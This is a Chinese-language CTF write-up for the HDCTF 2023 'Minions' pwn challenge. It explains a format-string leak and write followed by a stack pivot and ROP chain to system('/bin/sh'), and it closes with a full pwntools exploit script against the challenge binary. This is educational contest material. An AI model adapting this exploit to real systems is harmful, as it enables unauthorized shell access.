先是格式化字符串漏洞,然后反手就是栈迁移,还好留了一手没让我去找 libc。
题面
给二进制文件
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec ./minions1
[*] '/data/project/ctf-repo/pwn/nssctf/HDCTF_2023-Minions/minions1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No
|
开了 NX 保护,其他没有。
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF
init(argc, argv, envp);
vuln();
puts("\nDo you have an invitation key?");
if ( key == 102 )
{
puts("welcome,tell me more about you");
read(0, buf, 0x40u);
puts("That's great.Do you like Minions?");
read(0, &hdctf, 0x28u);
}
else
{
puts("sorry,you can't in");
}
return 0;
}
int vuln()
{
char buf[208]; // [rsp+0h] [rbp-D0h] BYREF
puts("Welcome to HDCTF.What you name?\n");
read(0, buf, 0xD0u);
printf("Hello,");
return printf(buf);
}
|
这里 key 是 .bss 下的变量。需要 key == 102 才能进入两次 read。
vuln 提供了格式化字符串漏洞可以利用。
两次读写,第一次读写到栈上,buf 在 rdp - 0x30 位置,也就是溢出后刚好之后把 ret address 覆盖,栈溢出空间过小,可以考虑栈溢出。
hdbuf 是 .bss 上的空间,根据 ida pro 分析 hdbuf 只有 0x2f 空间,比栈上 buf 还小。
同时可以看到程序有调用 system 的函数,也就是说,system@got 是存在的:
1
2
3
4
|
int sub_40075A()
{
return system("echo HDCTF");
}
|
这样构造 ROP 就好办了。
利用
可以确定需要栈迁移以构建足够的 ROP 链。
这样看来可以直接把 rbp 往后挪到 buf 的最开始位置就好,这样也方便构建 rop 链。
这时候,vuln 的 printf 除了改写 key 的数值之外,还需要拿来获取 rbp 存储的 old_rdp 的值,以获得 main 的 rbp 地址以此获得 buf 的地址。
先用 %p 测出 printf 的偏移量为 6,我首先尝试的是 %n 直接改写 key 可以成功,但是还需要获得 rbp 的值,保险起见获得 rbp 的 %n$p 放最前面比较好。先用 pwn 在 printf 打断点,查看偏移量:
这时候推荐把 pwntools 的日志输出设为 debug 方面我们查看输出。
看到日志输出 Hello 后,就说明到了带漏洞的 printf 里,这时候 stack 30 查看:

rbp 此时偏移在 0x1b 而 buf 在 0x1 ,再加上偏移量 6 有: 0x1b - 0x1 + 6 = 32,也就是要获得 rbp 的值需要用 %32$p。
输出地址长度为 14 字节,之后要通过 %n 写入 102 到 key,需要写 102 - 14。然后进行一轮填充对齐加上 key 的地址,最后获得:
1
2
3
|
payload0 = f"%32$p%{102 - 14}c%8$naaa".encode() + p64(key_addr)
io.recvuntil(b"name?")
io.sendline(payload0)
|
然后读取 rbp:
1
2
3
|
io.recvuntil(b"0x")
rdp = int(io.recvuntil(b" ")[:-1], 16)
print("rdp = ", hex(rdp))
|
和 gdb 对一下确保得到的 rbp 是正确的。
通过 ida pro 可以知道 buf 在 rbp - 0x30 的位置,所以要把新的 rbp 放在 rbp - 0x30 的位置,开始进行栈迁移。
接下来进入两次 read,第一次 read 往 buf 写入 ROP ,覆盖 rbp 并且把 ret address 设置为 leave 完成栈迁移。
1
2
3
4
5
6
7
|
payload1 = p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(hdctf) + p64(system_plt)
payload1 = payload1.ljust(0x30, b"\x00")
payload1 += p64(new_rdp)
payload1 += p64(leave)
io.recvuntil(b"you")
io.send(payload1)
|
别忘了 leave 会吞掉第一个 8 字节,后面先 ret 对齐,放入 system("/bin/sh\x00") 需要的 ROP,这里把 /bin/sh\x00 放在之后 bss 段的 hdctf 变量里。
1
2
3
|
io.recvuntil(b"Minions?")
payload2 = b"/bin/sh\x00"
io.sendline(payload2)
|
之后就可以拿到 shell 了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
from pwn import *
io = process("./minions1")
#io = remote("node5.anna.nssctf.cn", 29705)
elf = ELF("./minions1")
context.log_level = "debug"
rdi_addr = 0x400893
ret_addr = 0x400581
key_addr = 0x6010A0 # dd 4 字节
leave = 0x400758
hdctf = 0x6010C0
system_plt = elf.plt["system"]
# offset = 6
payload0 = f"%32$p%{102 - 14}c%8$naaa".encode() + p64(key_addr)
io.recvuntil(b"name?")
io.sendline(payload0)
io.recvuntil(b"0x")
rdp = int(io.recvuntil(b" ")[:-1], 16)
print("rdp = ", hex(rdp))
new_rdp = rdp - 0x30
# ---------------------------------
payload1 = p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(hdctf) + p64(system_plt)
payload1 = payload1.ljust(0x30, b"\x00")
payload1 += p64(new_rdp)
payload1 += p64(leave)
io.recvuntil(b"you")
io.send(payload1)
# ---------------------------------
io.recvuntil(b"Minions?")
payload2 = b"/bin/sh\x00"
io.sendline(payload2)
io.interactive()
|